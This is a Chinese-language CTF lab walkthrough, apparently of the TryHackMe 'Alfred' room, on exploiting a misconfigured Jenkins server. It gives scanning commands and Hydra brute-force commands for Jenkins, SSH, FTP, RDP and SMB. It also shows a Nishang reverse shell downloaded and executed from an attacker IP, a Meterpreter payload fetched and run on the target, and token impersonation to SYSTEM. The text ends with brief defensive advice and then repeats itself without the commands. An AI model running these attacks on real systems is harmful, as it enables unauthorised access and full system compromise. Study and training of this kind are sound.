【THM】offensive-Alfred
字数 1267 2025-08-29 08:29:41

Jenkins安全配置错误漏洞利用与权限提升教学文档

1. 初始信息收集与扫描

1.1 目标探测

目标机器不响应ICMP ping请求,因此需要使用-Pn参数绕过ping探测。

nmap -Pn <目标IP>

1.2 端口扫描技术

推荐使用RustScan进行快速TCP连接扫描:

rustscan -a <目标IP> -- -sT

Nmap高级扫描选项:

  • -sC:使用默认Nmap脚本进行扫描
  • -sV:扫描已发现服务的版本
  • -sS:TCP SYN端口扫描(半开放扫描)
  • -T<0-5>:时间模板(T0最慢,T5最快)
  • -A:启用操作系统检测、版本检测、脚本扫描和跟踪路由

完整扫描命令示例:

nmap -Pn -sS -sV -sC -T4 -A <目标IP>

2. Jenkins登录爆破

2.1 识别登录表单参数

使用Burp Suite或浏览器开发者工具分析Jenkins登录请求:

  • 确定HTTP方法(POST)
  • 识别参数名(通常为j_usernamej_password
  • 确定错误响应特征(如包含"Invalid username or password")

2.2 Hydra爆破配置

基本语法:

hydra -l <用户名> -P <密码字典> <目标IP> <服务>

Jenkins特定爆破命令:

hydra -s 8080 -L user.txt -P passwd.txt <目标IP> http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password" -f -vV -o login_brute_force.txt

参数说明:

  • -s 8080:指定非标准端口
  • -L user.txt:用户名字典
  • -P passwd.txt:密码字典
  • http-post-form:指定HTTP POST表单攻击
  • -f:找到第一个有效凭证后停止
  • -vV:详细输出
  • -o:保存结果到文件

2.3 其他服务爆破示例

SSH爆破:

hydra -L user.txt -P passwd.txt -vV -o ssh.log <目标IP> ssh

FTP爆破:

hydra -l mark -P /usr/share/wordlists/rockyou.txt <目标IP> ftp

RDP爆破:

hydra -l administrator -P 密码字典 <目标IP> rdp

SMB爆破:

hydra -l administrator -P 密码字典 <目标IP> smb

3. 初始访问获取

3.1 使用Nishang获取反向Shell

  1. 下载Nishang的Invoke-PowerShellTcp脚本:
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
  1. 在攻击机设置监听:
nc -lvnp 4444
  1. 修改脚本末尾添加连接命令:
Invoke-PowerShellTcp -Reverse -IPAddress <攻击机IP> -Port 4444
  1. 通过Jenkins执行脚本:
powershell iex (New-Object Net.WebClient).DownloadString('http://<攻击机IP>/Invoke-PowerShellTcp.ps1')

4. Shell升级与后渗透

4.1 升级到Meterpreter

  1. 生成Meterpreter payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=5555 -f exe > shell.exe
  1. 在攻击机启动Metasploit监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set LPORT 5555
run
  1. 在目标机下载并执行payload:
(New-Object Net.WebClient).DownloadFile('http://<攻击机IP>/shell.exe', 'C:\Users\Public\shell.exe')
Start-Process 'C:\Users\Public\shell.exe'

4.2 令牌窃取提权

  1. 在Meterpreter中检查权限:
getuid
  1. 列出可用令牌:
use incognito
list_tokens -u
  1. 模拟高权限令牌:
impersonate_token "NT AUTHORITY\\SYSTEM"
  1. 验证提权:
getuid

5. 防御建议

5.1 Jenkins安全配置

  1. 禁用匿名访问
  2. 使用强密码策略
  3. 限制构建权限
  4. 定期更新Jenkins及插件
  5. 启用安全矩阵和项目矩阵授权

5.2 系统层面防御

  1. 限制服务账户权限
  2. 启用Windows Defender Credential Guard
  3. 配置本地安全策略限制令牌模拟
  4. 监控异常进程创建和网络连接
  5. 实施最小权限原则

6. 参考资源

  1. Nishang GitHub仓库:https://github.com/samratashok/nishang
  2. Metasploit框架文档:https://www.metasploit.com/
  3. Jenkins安全指南:https://www.jenkins.io/doc/book/security/
  4. Hydra使用手册:https://github.com/vanhauser-thc/thc-hydra
Jenkins安全配置错误漏洞利用与权限提升教学文档 1. 初始信息收集与扫描 1.1 目标探测 目标机器不响应ICMP ping请求,因此需要使用 -Pn 参数绕过ping探测。 1.2 端口扫描技术 推荐使用RustScan进行快速TCP连接扫描: Nmap高级扫描选项: -sC :使用默认Nmap脚本进行扫描 -sV :扫描已发现服务的版本 -sS :TCP SYN端口扫描(半开放扫描) -T<0-5> :时间模板(T0最慢,T5最快) -A :启用操作系统检测、版本检测、脚本扫描和跟踪路由 完整扫描命令示例: 2. Jenkins登录爆破 2.1 识别登录表单参数 使用Burp Suite或浏览器开发者工具分析Jenkins登录请求: 确定HTTP方法(POST) 识别参数名(通常为 j_username 和 j_password ) 确定错误响应特征(如包含"Invalid username or password") 2.2 Hydra爆破配置 基本语法: Jenkins特定爆破命令: 参数说明: -s 8080 :指定非标准端口 -L user.txt :用户名字典 -P passwd.txt :密码字典 http-post-form :指定HTTP POST表单攻击 -f :找到第一个有效凭证后停止 -vV :详细输出 -o :保存结果到文件 2.3 其他服务爆破示例 SSH爆破: FTP爆破: RDP爆破: SMB爆破: 3. 初始访问获取 3.1 使用Nishang获取反向Shell 下载Nishang的Invoke-PowerShellTcp脚本: 在攻击机设置监听: 修改脚本末尾添加连接命令: 通过Jenkins执行脚本: 4. Shell升级与后渗透 4.1 升级到Meterpreter 生成Meterpreter payload: 在攻击机启动Metasploit监听: 在目标机下载并执行payload: 4.2 令牌窃取提权 在Meterpreter中检查权限: 列出可用令牌: 模拟高权限令牌: 验证提权: 5. 防御建议 5.1 Jenkins安全配置 禁用匿名访问 使用强密码策略 限制构建权限 定期更新Jenkins及插件 启用安全矩阵和项目矩阵授权 5.2 系统层面防御 限制服务账户权限 启用Windows Defender Credential Guard 配置本地安全策略限制令牌模拟 监控异常进程创建和网络连接 实施最小权限原则 6. 参考资源 Nishang GitHub仓库:https://github.com/samratashok/nishang Metasploit框架文档:https://www.metasploit.com/ Jenkins安全指南:https://www.jenkins.io/doc/book/security/ Hydra使用手册:https://github.com/vanhauser-thc/thc-hydra